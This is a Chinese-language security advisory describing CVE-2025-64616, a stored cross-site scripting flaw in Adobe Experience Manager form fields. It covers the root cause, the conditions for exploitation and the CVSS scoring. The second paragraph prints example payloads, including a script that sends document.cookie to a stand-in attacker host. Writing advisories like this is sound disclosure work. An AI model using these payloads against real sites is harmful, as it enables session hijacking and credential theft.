CVE-2025-64616Adobe Experience Manager(AEM)是Adobe公司开发的企业级内容管理解决方案,广泛应用于构建网站、移动应用和表单等数字体验。本次漏洞涉及Adobe Experience Manager 6.5.23及更早版本中存在一处存储型跨站脚本(Stored XSS)安全缺陷。存储型XSS是一种严重的安全威胁,攻击者将恶意脚本代码永久存储在目标服务器的数据库中,当其他用户访问包含该恶意内容的页面时,脚本会在其浏览器中执行。与反射型XSS不同,存储型XSS的payload存储在服务器端,只要恶意内容未被清除,任何访问该页面的用户都会受到攻击。在本漏洞中,具有低权限的攻击者能够利用系统中的表单字段功能,将恶意JavaScript代码注入到表单输入框中。由于AEM未能对用户输入进行充分的HTML转义和验证,恶意脚本被永久存储在内容仓库中。当具有更高权限的用户或管理员浏览包含该表单的页面时,恶意JavaScript代码会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、凭据钓鱼攻击,甚至在某些情况下进一步横向移动到其他系统功能。此漏洞的CVSS评分为5.4(中等严重性),攻击复杂度低,无需特殊权限即可发起攻击,但需要用户交互才能触发。Adobe安全团队([email protected])于2025年12月10日披露了此漏洞,并建议用户尽快更新到修复版本以消除安全风险。
Adobe Experience Manager 6.5.23及之前版本在处理用户提交的表单数据时存在输入验证不足的问题。漏洞根源在于AEM的表单组件未能对用户输入进行充分的HTML实体编码,当攻击者向表单字段提交包含JavaScript代码的恶意输入时(如<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>),这些未经过滤的输入被直接存储在后端内容仓库中。在后续页面渲染过程中,当其他用户请求包含该表单数据的页面时,AEM将直接从数据库读取并显示这些内容,而未对输出进行适当的转义处理,导致恶意脚本在受害者浏览器中作为页面的一部分被解析执行。攻击者利用此漏洞需要满足以下条件:1)拥有一个具有基本访问权限的低级别AEM用户账户;2)能够访问包含表单功能的AEM页面;3)找到存在输入验证缺陷的表单字段。由于payload存储在服务器端,攻击者可以利用此漏洞对所有访问受影响页面的用户发起攻击,包括管理员账户。成功利用后,攻击者可窃取会话cookie、操作用户界面显示钓鱼内容、或利用管理员权限进一步渗透系统。CVSS 3.1向量AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N清楚地描述了攻击通过网络发起、复杂度低、需要低权限、需用户交互,且对机密性和完整性有低度影响。